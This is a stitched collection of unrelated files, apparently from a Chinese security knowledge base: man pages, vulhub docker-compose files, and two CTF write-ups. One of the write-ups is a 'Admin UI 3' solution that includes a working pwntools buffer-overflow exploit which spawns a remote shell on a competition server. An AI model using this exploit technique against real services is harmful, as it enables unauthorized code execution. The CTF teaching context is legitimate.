.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH incr 3tcl "" Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
incr \- 增加一个变量的值
.SH "总览 SYNOPSIS"
\fBincr \fIvarName \fR?\fIincrement\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
增加存储在叫 \fIvarName \fR的变量中的值。变量的值必须是一个整数。如果提供了 \fIincrement\fR 则向 \fIvarName\fR 变量的值加上它的值(必须是个整数);否则向 \fIvarName\fR 加 1。新值被作为一个十进制字符串存储在变量 \fIvarName\fR 中并被作为结果返回。
.SH "参见 SEE ALSO"
expr(n)
.SH "关键字 KEYWORDS"
add, increment, variable, value
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/09/02
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
version: '2'
services:
im:
image: vulhub/imagemagick:7.0.10-36
volumes:
- ./poc.svg:/tmp/poc.svg
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH ECHO 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
echo \- 显示一行文本
.SH 概述
\fBecho\fP [\fI\,短选项\/\fP]... [\fI\,字符串列表\/\fP]...
.br
\fBecho\fP \fI\,长选项\/\fP
.SH 描述
.\" Add any additional description here
.PP
将字符串列表中的字符输出到标准输出。
.TP
\fB\-n\fP
不输出尾随的换行符
.TP
\fB\-e\fP
启用解释反斜杠的转义功能
.TP
\fB\-E\fP
禁用解释反斜杠的转义功能(默认)
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
若 \fB\-e\fP 可用,则以下序列即可识别:
.TP
\e\e
反斜线
.TP
\ea
报警符(BEL)
.TP
\eb
退格符
.TP
\ec
禁止尾随的换行符
.TP
\ee
escape 字符
.TP
\ef
换页符
.TP
\en
另起一行
.TP
\er
回到行首
.TP
\et
水平制表符
.TP
\ev
垂直制表符
.TP
\e0NNN
字节数以八进制数 NNN (1至3位)表示
.TP
\exHH
字节数以十六进制数 HH (1至2位)表示
.PP
注意:您的 shell 可能内置了自己的 echo 程序版本,它会覆盖这里所提及的相应版本。请查阅您的 shell 文档获知它所支持的选项。
.PP
注意:建议使用 \fBprintf\fP(1) 替代本命令,因为它可以正常输出与选项相似的字符串。
.SH 作者
由 Brian Fox 和 Chet Ramey 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
\fBprintf\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/echo>
.br
或者在本地使用: info \(aq(coreutils) echo invocation\(aq
|
sec-knowleage
|
clockdiff
===
检测两台linux主机的时间差
## 补充说明
在ip报文的首部和ICMP报文的首部都可以放入时间戳数据。 **clockdiff** 程序正是使用时间戳来测算目的主机和本地主机的系统时间差。
### 选项
```shell
-o:使用IP时间戳选项来测量系统时间差。时间戳只用3个。
-o1:使用IP时间戳选项来测量系统时间差。用4个时间戳。如果-o和-o1都没有设置,那么就是用ICMP时间戳来测试系统时间差。
```
### 实例
```shell
lixi@lixi-desktop:~$ ping -T tsandaddr www.ustc.edu.cn -c 1
PING www.ustc.edu.cn (202.38.64.9) 56(124) bytes of data.
64 bytes from 202.38.64.9: icmp_seq=1 ttl=62 time=0.823 ms
TS: lixi-desktop.local (210.45.74.25) 12522473 absolute
210.45.74.1 -251
local-gw.ustc.edu.cn (202.38.64.126) 248
202.38.64.9 -857514
Unrecorded hops: 3
--- www.ustc.edu.cn ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.823/0.823/0.823/0.000 ms
```
首先由上面的得出在RRT不大的时候,几个ICMP时间戳的关系。本地主机和202.38.64.9之间的时间差约为:-857514+248-251=-857517。分别用-o(IP选项中时间戳)和不带选项(ICMP路由时间戳)上述路由的系统时间进行测试。得到的结果:
```shell
lixi@lixi-desktop:~# ./clockdiff -o 202.38.64.9
..................................................
host=202.38.64.9 rtt=1(0)ms/1ms delta=-857517ms/-857517ms Wed Dec 17 11:28:30 2008
```
```shell
lixi@lixi-desktop:~# ./clockdiff 202.38.64.9
.
host=202.38.64.9 rtt=750(187)ms/0ms delta=-857517ms/-857517ms Wed Dec 17 11:28:35 2008
```
两种方法测试的都比较准确。
```shell
lixi@lixi-desktop:~#./clockdiff gigagate1.Princeton.EDU
..................................................
host=gigagate1.Princeton.EDU rtt=307(21)ms/271ms delta=-5ms/-5ms Wed Dec 17 11:50:16 2008
```
上面是测试一个RTT较大的目的主机和本地主机的系统时间差。不过在使用clockdiff的时候,需要一点运气,因为很多路由会忽略ICMP或IP时间戳。
|
sec-knowleage
|
version: '2'
services:
solr:
command: solr-demo
image: vulhub/solr:7.0.1
ports:
- "8983:8983"
|
sec-knowleage
|
# ADMIN UI 3
PWN-RE
## Description:
> The code quality here is terrible. Even the temperature scale is measured in "Kevins". Just bad Q/A all around here. If they choose to measure in Kevins rather than Kelvins, then it's a sure bet that they can't handle their memory properly. It looks like this also controls the SmartFridge2000 internal temperature for that whole home "just-works" experience.
## Solution:
Ok, so based on our progress from [Admin UI 2](Admin_UI_2.md), we're authenticated. What can we do now?
Here's an overview of the `sym.command_line` function which gets called once we're authenticated:
```
.--------------------.
| [0x4141428e] |
`--------------------'
v
|
.---'
.----------------------------------------------.
|.-------------------------------------------. |
|| | .-|-|--------------------------------------------------------------------------------------------------------------------------------------.
||.--------------------------------------. | | | |
|||.-----------------------------------. | | | | |
|||| | .-|-|-|-|-|-----------------------------------------------------------. |
|||| | | | | | | | | |
|||| .---------------------------------. | |
|||| | 0x4141429a [gf] | | |
|||| | 0x414142a6 call sym.imp.printf | | |
|||| | 0x414142b2 call sym.getsx_char | | |
|||| | 0x414142ca str.quit | | |
|||| | 0x414142d4 call sym.imp.strcmp | | |
|||| `---------------------------------' | |
|||| f t | |
|||| | | | |
|||| | '------------------. | |
|||| .----------------------------' | | |
|||| | | | |
||||.-------------------------------. .---------------------------------. | |
||||| 0x414142dd [gi] | | 0x414142ee [ge] | | |
||||| 0x414142dd str.Bye | | 0x414142f2 str.version | | |
||||| 0x414142e4 call sym.imp.puts | | 0x414142fc call sym.imp.strcmp | | |
||||`-------------------------------' `---------------------------------' | |
|||| v t f | |
|||| | | | | |
|||| '----. | | | |
|||| | .--------------------' | | |
|||| | | '--------------. | |
|||| | | | | |
|||| .--------------------. .---------------------------------. .-------------------------------. | |
|||| | 0x4141443c [gh] | | 0x41414313 [gj] | | 0x41414305 [gk] | | |
|||| `--------------------' | 0x41414317 str.shell | | 0x41414305 str.Version_0.3 | | |
|||| | 0x41414321 call sym.imp.strcmp | | 0x4141430c call sym.imp.puts | | |
|||| `---------------------------------' `-------------------------------' | |
|||| f t v | |
|||| | | | | |
|||| | | `-----------------------------' |
|||| | | `-----------------------------' |
|||| | '-----------------------------------------------------------------------------------------------------. |
|||| '-------------------------------------------------------------------------. | |
|||| | | |
|||| .--------------------. .----------------------------------. |
|||| | 0x4141432a [gn] | | 0x41414353 [gl] | |
|||| `--------------------' | 0x4141435c str.echo | |
|||| t f | 0x41414366 call sym.imp.strncmp | |
|||| | | `----------------------------------' |
|||| | | t f |
|||| | | | | |
|||| .----------------------------------------------' | | | |
|||| .----------------------------------------------------------------------------------------------------------------' | | |
|||| | | .--------------------------------------' | |
|||| | | | .--' |
|||| | | | | |
||||.----------------------------------------------------------. .---------------------------------. .---------------------------------. .----------------------------------. |
||||| 0x41414338 [go] | | 0x41414349 [gm] | | 0x41414393 [gr] | | 0x4141436f [gt] | |
||||| 0x41414338 str.Security_made_us_disable_the_shell__sorry | | 0x41414349 call sym.debug_shell | | 0x41414397 str.debug | | 0x4141437f call sym.imp.printf | |
||||| 0x4141433f call sym.imp.puts | `---------------------------------' | 0x414143a1 call sym.imp.strcmp | | 0x41414389 call sym.imp.putchar | |
||||`----------------------------------------------------------' v `---------------------------------' `----------------------------------' |
|||| v | f t v |
|||| | | | | | |
|||`----' | | | | |
||`---------------------------------------------------------------------' | | | |
|| | | `---------------------------------'
|| | '--------------.
|| .--------------------------------' |
|| | |
|| .---------------------------------------------. .------------------------------------.
|| | 0x414143aa [gy] | | 0x4141441f [gu] |
|| | 0x414143aa str.Debug_data_dump: | | 0x41414426 str.Unknown_command___s |
|| | 0x414143b1 call sym.imp.puts | | 0x41414432 call sym.imp.printf |
|| | 0x414143bc call sym.imp.getpid | `------------------------------------'
|| | 0x414143cc str.pid__d_cmds_executed__p___d | v
|| | 0x414143d8 call sym.imp.printf | |
|| | 0x414143dd call sym.imp.getpid | |
|| | 0x414143eb str.cat__proc__d_maps | |
|| | 0x414143fa call sym.imp.sprintf | |
|| | 0x414143ff str.Mappings: | |
|| | 0x41414406 call sym.imp.puts | |
|| | 0x41414415 call sym.imp.system | |
|| `---------------------------------------------' |
|| v |
|| | |
|`-------------------------------------------------------------------------------' |
`----------------------------------------------------------------------------------------------------------------------------------'
```
It basically supports several commands:
* quit
* version
* shell
* echo
* debug
Obviously `shell` looks like a good place to start, but is protected by some basic boolean check:
```
|
.--------------------------------------------.
| 0x4141432a [gn] |
| ; [0x41616138:1]=0 |
| movzx eax, byte [obj.shell_enabled] |
| xor eax, 1 |
| test al, al |
| je 0x41414349;[gm] |
`--------------------------------------------'
t f
| |
| |
| |
| |
| |
| |
.--------' |
.------------------------------------------------------------------------------'
| |
| |
| |
.---------------------------------------------------------------. .-----------------------------.
| 0x41414338 [go] | | 0x41414349 [gm] |
| ; 0x41414a98 | | call sym.debug_shell;[gp] |
| ; "Security made us disable the shell, sorry!" | | jmp 0x4141429a;[gf] |
| lea rdi, str.Security_made_us_disable_the_shell__sorry | `-----------------------------'
| ; int puts(const char *s) | v
| call sym.imp.puts;[gg] | |
| jmp 0x4141429a;[gf] | |
`---------------------------------------------------------------' |
```
`debug` gives us some useful information for an attack:
```
> Debug data dump:
pid=1 cmds executed=0x41616134->1 Mappings:
00400000-00401000 r-xp 00000000 08:01 534875 /home/user/main
41414000-41415000 r-xp 00014000 08:01 534875 /home/user/main
41615000-41616000 r--p 00015000 08:01 534875 /home/user/main
41616000-41617000 rw-p 00016000 08:01 534875 /home/user/main
42533000-42565000 rw-p 00000000 00:00 0 [heap]
7f8471c8e000-7f8471e4e000 r-xp 00000000 08:01 537787 /lib/x86_64-linux-gnu/libc-2.23.so
7f8471e4e000-7f847204e000 ---p 001c0000 08:01 537787 /lib/x86_64-linux-gnu/libc-2.23.so
7f847204e000-7f8472052000 r--p 001c0000 08:01 537787 /lib/x86_64-linux-gnu/libc-2.23.so
7f8472052000-7f8472054000 rw-p 001c4000 08:01 537787 /lib/x86_64-linux-gnu/libc-2.23.so
7f8472054000-7f8472058000 rw-p 00000000 00:00 0
7f8472058000-7f847206e000 r-xp 00000000 08:01 537808 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f847206e000-7f847226d000 ---p 00016000 08:01 537808 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f847226d000-7f847226e000 rw-p 00015000 08:01 537808 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f847226e000-7f8472376000 r-xp 00000000 08:01 537819 /lib/x86_64-linux-gnu/libm-2.23.so
7f8472376000-7f8472575000 ---p 00108000 08:01 537819 /lib/x86_64-linux-gnu/libm-2.23.so
7f8472575000-7f8472576000 r--p 00107000 08:01 537819 /lib/x86_64-linux-gnu/libm-2.23.so
7f8472576000-7f8472577000 rw-p 00108000 08:01 537819 /lib/x86_64-linux-gnu/libm-2.23.so
7f8472577000-7f84726e9000 r-xp 00000000 08:01 540467 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7f84726e9000-7f84728e9000 ---p 00172000 08:01 540467 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7f84728e9000-7f84728f3000 r--p 00172000 08:01 540467 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7f84728f3000-7f84728f5000 rw-p 0017c000 08:01 540467 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7f84728f5000-7f84728f9000 rw-p 00000000 00:00 0
7f84728f9000-7f847291f000 r-xp 00000000 08:01 537767 /lib/x86_64-linux-gnu/ld-2.23.so
7f8472b16000-7f8472b1c000 rw-p 00000000 00:00 0
7f8472b1e000-7f8472b1f000 r--p 00025000 08:01 537767 /lib/x86_64-linux-gnu/ld-2.23.so
7f8472b1f000-7f8472b20000 rw-p 00026000 08:01 537767 /lib/x86_64-linux-gnu/ld-2.23.so
7f8472b20000-7f8472b21000 rw-p 00000000 00:00 0
7ffedfba5000-7ffedfbc6000 rw-p 00000000 00:00 0 [stack]
7ffedfbcd000-7ffedfbd0000 r--p 00000000 00:00 0 [vvar]
7ffedfbd0000-7ffedfbd2000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
```
Notice how `debug` provides us with the address of `obj.cmds_executed`: `cmds executed=0x41616134->1`
```
.--------------------------------------------------.
| 0x414143aa [gy] |
| ; 0x41414ace |
| ; "Debug data dump:" |
| lea rdi, str.Debug_data_dump: |
| ; int puts(const char *s) |
| call sym.imp.puts;[gg] |
| ; [0x41616134:4]=0 |
| mov ebx, dword [obj.cmds_executed] |
| ; int getpid(void) |
| call sym.imp.getpid;[gv] |
| mov ecx, ebx |
| ; 0x41616134 |
| lea rdx, obj.cmds_executed |
| mov esi, eax |
| ; 0x41414adf |
| ; " pid=%d cmds executed=%p->%d" |
| lea rdi, str.pid__d_cmds_executed__p___d |
| mov eax, 0 |
| ; int printf(const char *format) |
| call sym.imp.printf;[gb] |
| ; int getpid(void) |
| call sym.imp.getpid;[gv] |
| mov edx, eax |
| lea rax, [local_130h] |
| ; 0x41414afc |
| ; "cat /proc/%d/maps" |
| lea rsi, str.cat__proc__d_maps |
| mov rdi, rax |
| mov eax, 0 |
| ; int sprintf(char *s, const char *format, ...) |
| call sym.imp.sprintf;[gw] |
| ; 0x41414b0e |
| ; " Mappings:" |
| lea rdi, str.Mappings: |
| ; int puts(const char *s) |
| call sym.imp.puts;[gg] |
| lea rax, [local_130h] |
| mov rdi, rax |
| ; int system(const char *string) |
| call sym.imp.system;[gx] |
| jmp 0x4141429a;[gf] |
`--------------------------------------------------'
```
Using Radare2's flag-space dump combined with its `grep` syntax ("`~`"), we see that `obj.cmds_executed` is right next to `obj.shell_enabled`:
```
[0x41414150]> fs symbols
[0x41414150]> f~obj.cmds_executed,obj.shell_enabled
0x41616134 4 obj.cmds_executed
0x41616138 1 obj.shell_enabled
```
So we know the runtime address of `obj.shell_enabled`. Combined with the following format string vulnerability, we can override `obj.shell_enabled`:
```
.-----------------------------------.
| 0x4141436f [gt] |
| lea rax, [input] |
| add rax, 5 |
| mov rdi, rax |
| mov eax, 0 |
| ; int printf(const char *format) |
| call sym.imp.printf;[gb] |
| mov edi, 0xa |
| ; int putchar(int c) |
| call sym.imp.putchar;[gs] |
| jmp 0x4141429a;[gf] |
`-----------------------------------'
```
But there is actually an easier way in - buffer overflow:
```
.-----------------------------------------------.
| 0x4141429a [gf] |
| ; "> " |
| lea rdi, [0x41414a6b] |
| mov eax, 0 |
| ; int printf(const char *format) |
| call sym.imp.printf;[gb] |
| lea rax, [input] |
| mov rdi, rax |
| call sym.getsx_char;[gc] |
| ; [0x41616134:4]=0 |
```
`sym.getsx_char` never checks the length of the buffer it reads. The input buffer is just 0x30 bytes long: `; var int input @ rbp-0x30`.
Therefore, using the buffer overflow, we can overrun the return address to the following function:
```
[0x4141428e]> s sym.debug_shell
[0x41414227]> pdf
/ (fcn) sym.debug_shell 19
| sym.debug_shell ();
| ; CALL XREF from sym.command_line (0x41414349)
| 0x41414227 55 push rbp
| 0x41414228 4889e5 mov rbp, rsp
| 0x4141422b 488d3d310800. lea rdi, str.bin_sh ; 0x41414a63 ; "/bin/sh"
| 0x41414232 e8a9c8febe call sym.imp.system ; int system(const char *string)
| 0x41414237 90 nop
| 0x41414238 5d pop rbp
\ 0x41414239 c3 ret
[0x41414227]>
```
And we get a shell.
The script:
```python
from pwn import *
import os
context(arch='amd64', os='linux', bits = '64')
LOCAL_PATH = "./admin_ui_2"
MENU_START = "=== Management Interface ===\n"
def read_menu(proc):
proc.recvuntil("3) Quit")
def read_notes(proc, path):
read_menu(proc)
proc.sendline("2")
proc.sendlineafter("Which patchnotes should be shown?\n", path)
log.info("Read EULA/patch notes: {}".format(path))
out = proc.recvuntil(MENU_START, drop=True)
return out
def service_access(proc, password1, password2):
log.info("Requesting service with Password1: {}, Password2: {}".format(password1, password2))
read_menu(proc)
proc.sendline("1")
proc.sendlineafter("Please enter the backdoo^Wservice password:\n", password1)
proc.sendlineafter("Please enter secret secondary password:\n", password2)
proc.recvuntil("Authenticated\n")
def enter_command(proc, cmd):
log.info("Sending command: {} ({})".format(cmd, enhex(cmd)))
proc.sendlineafter("> ", cmd)
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm core.* > /dev/null")
proc = process(LOCAL_PATH)
login(proc)
payload = cyclic(100, n = 8)
enter_command(proc, payload)
enter_command(proc, "quit")
proc.wait()
offset = cyclic_find(proc.corefile.fault_addr, n = 8)
log.info("Overflow offset: {}".format(offset))
return offset
def login(proc):
service_access(proc, "CTF{I_luv_buggy_sOFtware}", cyclic(0x23))
offset = get_overflow_offset()
elf = ELF(LOCAL_PATH)
r = remote("mngmnt-iface.ctfcompetition.com", 1337)
login(r)
debug_shell_address = elf.symbols["_Z11debug_shellv"]
log.info("Address of debug_shell: {}".format(hex(debug_shell_address)))
enter_command(r, fit({offset: debug_shell_address}))
enter_command(r, "quit")
r.interactive()
```
The output:
```
root@kali:/media/sf_CTFs/google/adminui2# python exploit2.py
[+] Starting local process './admin_ui_2': pid 2890
[*] Requesting service with Password1: CTF{I_luv_buggy_sOFtware}, Password2: aaaabaaacaaadaaaeaaafaaagaaahaaaiaa
[*] Sending command: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa (6161616161616161626161616161616163616161616161616461616161616161656161616161616166616161616161616761616161616161686161616161616169616161616161616a616161616161616b616161616161616c616161616161616d616161)
[*] Sending command: quit (71756974)
[*] Process './admin_ui_2' stopped with exit code -11 (SIGSEGV) (pid 2890)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/google/adminui2/core.2890'
Arch: amd64-64-little
RIP: 0x41414445
RSP: 0x7ffcc442af18
Exe: '/media/sf_CTFs/google/adminui2/admin_ui_2' (0x41414000)
Fault: 0x6161616161616168
[*] Overflow offset: 56
[*] '/media/sf_CTFs/google/adminui2/admin_ui_2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to mngmnt-iface.ctfcompetition.com on port 1337: Done
[*] Requesting service with Password1: CTF{I_luv_buggy_sOFtware}, Password2: aaaabaaacaaadaaaeaaafaaagaaahaaaiaa
[*] Address of debug_shell: 0x41414227
[*] Sending command: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa'BAA\x00\x00\x00\x00 (6161616162616161636161616461616165616161666161616761616168616161696161616a6161616b6161616c6161616d6161616e6161612742414100000000)
[*] Sending command: quit (71756974)
[*] Switching to interactive mode
Bye!
$ ls
an0th3r_fl44444g_yo
flag
main
patchnotes
$ cat an0th3r_fl44444g_yo
CTF{c0d3ExEc?W411_pL4y3d}
$ exit
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to mngmnt-iface.ctfcompetition.com port 1337
[*] Got EOF while sending in interactive
```
The flag: CTF{c0d3ExEc?W411_pL4y3d}
|
sec-knowleage
|
# The Lost Award
* Category: Forensics
* 1000 Points
* Solved by the JCTF Team
## Description
> Commander Keen and B.J. Blazkowicz are trying to bring back some lost award plate. any chance you can help?
A PCAP file was attached.
## Solution
The attached file contains a network capture which mainly involves SMB traffic.
The most interesting part of the capture is writing a file called `BSidesTLV.manipulated_smb.pcapng` in several chunks.
```
root@kali:/media/sf_CTFs/bsidestlv/The_Lost_Award# tshark -r BSidesTLV.gnpacp -Y "smb2.fid == 00000051-0012-0000-1900-100012000000"
Running as user "root" and group "root". This could be dangerous.
677 167.553239 192.168.40.136 → 192.168.40.128 SMB2 410 Create Response File: BSidesTLV.manipulated_smb.pcapng 445 54774
678 167.553490 192.168.40.128 → 192.168.40.136 SMB2 275 GetInfo Request FS_INFO/FileFsVolumeInformation;GetInfo Request FS_INFO/FileFsAttributeInformation 54775 445
680 167.553964 192.168.40.128 → 192.168.40.136 SMB2 162 SetInfo Request FILE_INFO/SMB2_FILE_ENDOFFILE_INFO 54772 445
682 167.560342 192.168.40.128 → 192.168.40.136 SMB2 42394 Write Request Len:1048576 Off:0 54773 445
685 167.561693 192.168.40.128 → 192.168.40.136 SMB2 32174 Write Request Len:1048576 Off:1048576 File: BSidesTLV.manipulated_smb.pcapng 54774 445
698 167.563265 192.168.40.128 → 192.168.40.136 SMB2 64294 Write Request Len:1048576 Off:2097152 54775 445
785 167.570189 192.168.40.128 → 192.168.40.136 SMB2 64294 Write Request Len:1048576 Off:3145728 54772 445
844 167.576202 192.168.40.128 → 192.168.40.136 SMB2 64294 Write Request Len:1048576 Off:4194304 54773 445
872 167.579587 192.168.40.128 → 192.168.40.136 SMB2 64294 Write Request Len:1048576 Off:5242880 54775 445
926 167.585900 192.168.40.128 → 192.168.40.136 SMB2 64294 [TCP Previous segment not captured] Write Request Len:1048576 Off:7340032 54772 445
2587 167.639274 192.168.40.128 → 192.168.40.136 SMB2 64294 Write Request Len:1048576 Off:8388608 54773 445
2631 167.642559 192.168.40.128 → 192.168.40.136 SMB2 64294 Write Request Len:1048576 Off:9437184 54772 445
2660 167.646622 192.168.40.128 → 192.168.40.136 SMB2 64294 Write Request Len:1048576 Off:10485760 File: BSidesTLV.manipulated_smb.pcapng 54774 445
2695 167.649439 192.168.40.128 → 192.168.40.136 SMB2 64294 Write Request Len:1048576 Off:11534336 54773 445
2722 167.651819 192.168.40.128 → 192.168.40.136 SMB2 64294 Write Request Len:713512 Off:12582912 54775 445
2812 167.662402 192.168.40.128 → 192.168.40.136 SMB2 194 SetInfo Request FILE_INFO/SMB2_FILE_BASIC_INFO File: BSidesTLV.manipulated_smb.pcapng 54774 445
2814 167.667011 192.168.40.128 → 192.168.40.136 SMB2 162 GetInfo Request FILE_INFO/SMB2_FILE_NETWORK_OPEN_INFO 54775 445
2816 167.673956 192.168.40.128 → 192.168.40.136 SMB2 146 Close Request 54772 445
```
However, not all of the chunks were available (some TCP packets weren't captured), and the full file could not be reconstructed from the current data.
From what was available, it was apparent that the new file was a PCAP file as well, and perhaps it contained another PCAP file and so on.
Deep down, base64 encoded data was being transferred. For example, the tail of one of the chunks:
```console
root@kali:/media/sf_CTFs/bsidestlv/The_Lost_Award# tshark -nr BSidesTLV.gnpacp -Y 'frame.number==785' -x | tail
Running as user "root" and group "root". This could be dangerous.
faa0 6b 4a 55 52 30 31 61 56 45 39 4e 4d 6b 5a 48 53 kJUR01aVE9NMkZHS
fab0 54 4e 55 52 30 39 43 56 45 68 46 4d 6c 52 42 54 TNUR09CVEhFMlRBT
fac0 56 4a 59 52 30 31 61 52 45 64 50 53 6c 52 4a 56 VJYR01aREdPSlRJV
fad0 56 70 45 54 55 31 61 57 6b 64 4e 4e 45 52 4c 54 VpETU1aWkdNNERLT
fae0 55 4a 54 52 30 46 61 56 45 46 4e 57 6c 5a 48 54 UJTR0FaVEFNWlZHT
faf0 56 6c 55 52 30 35 53 56 55 64 42 57 6b 52 44 54 VlUR05SVUdBWkRDT
fb00 56 70 59 52 31 45 39 50 54 30 39 50 54 30 3d 0a VpYR1E9PT09PT0=.
fb10 53 55 56 5a 52 55 6c 4e 51 6c 70 48 54 54 52 45 SUVZRUlNQlpHTTRE
fb20 52 30 39 43 56 45 R09CVE
```
Let's take a base64 string and start working on it.
We start with:
```
SUVZRUlNQldHTVpUR09KVEdNWlRLTTJGR0lZVEdOSlRHUVpUR01aVkdRWURFTlJUR0FaVEFNMkZHSTRER09CVEhFMlRBTVJZR000VEdSSlNHQVpUT01aWUdVWURFTUpURzQyQT09PT0=
```
Decode it:
```console
root@kali:/media/sf_CTFs/bsidestlv/The_Lost_Award# echo SUVZRUlNQldHTVpUR09KVEdNWlRLTTJGR0lZVEdOSlRHUVpUR01aVkdRWURFTlJUR0FaVEFNMkZHSTRER09CVEhFMlRBTVJZR000VEdSSlNHQVpUT01aWUdVWURFTUpURzQyQT09PT0= | base64 -d
IEYEIMBWGMZTGOJTGMZTKM2FGIYTGNJTGQZTGMZVGQYDENRTGAZTAM2FGI4DGOBTHE2TAMRYGM4TGRJSGAZTOMZYGUYDEMJTG42A====
```
This is base32 (all uppercase letters, and equal signs at the end).
Decode that:
```console
root@kali:/media/sf_CTFs/bsidestlv/The_Lost_Award# echo IEYEIMBWGMZTGOJTGMZTKM2FGIYTGNJTGQZTGMZVGQYDENRTGAZTAM2FGI4DGOBTHE2TAMRYGM4TGRJSGAZTOMZYGUYDEMJTG42A==== | base32 -d
A0D06333933353E2135343335402630303E2838395028393E2037385021374
```
This looks like a hex stream. What is the meaning?
```console
root@kali:/media/sf_CTFs/bsidestlv/The_Lost_Award# echo A0D06333933353E2135343335402630303E2838395028393E2037385021374 | xxd -p -r | xxd -g 1
00000000: a0 d0 63 33 93 33 53 e2 13 53 43 33 54 02 63 03 ..c3.3S..SC3T.c.
00000010: 03 e2 83 83 95 02 83 93 e2 03 73 85 02 13 74 ..........s...t
```
Doesn't look good.
This is the time to mention that most if not all base64 strings had a common prefix:
```console
root@kali:/media/sf_CTFs/bsidestlv/The_Lost_Award# strings BSidesTLV.gnpacp | grep "==" | head
lNHQVpUT05BPQ==
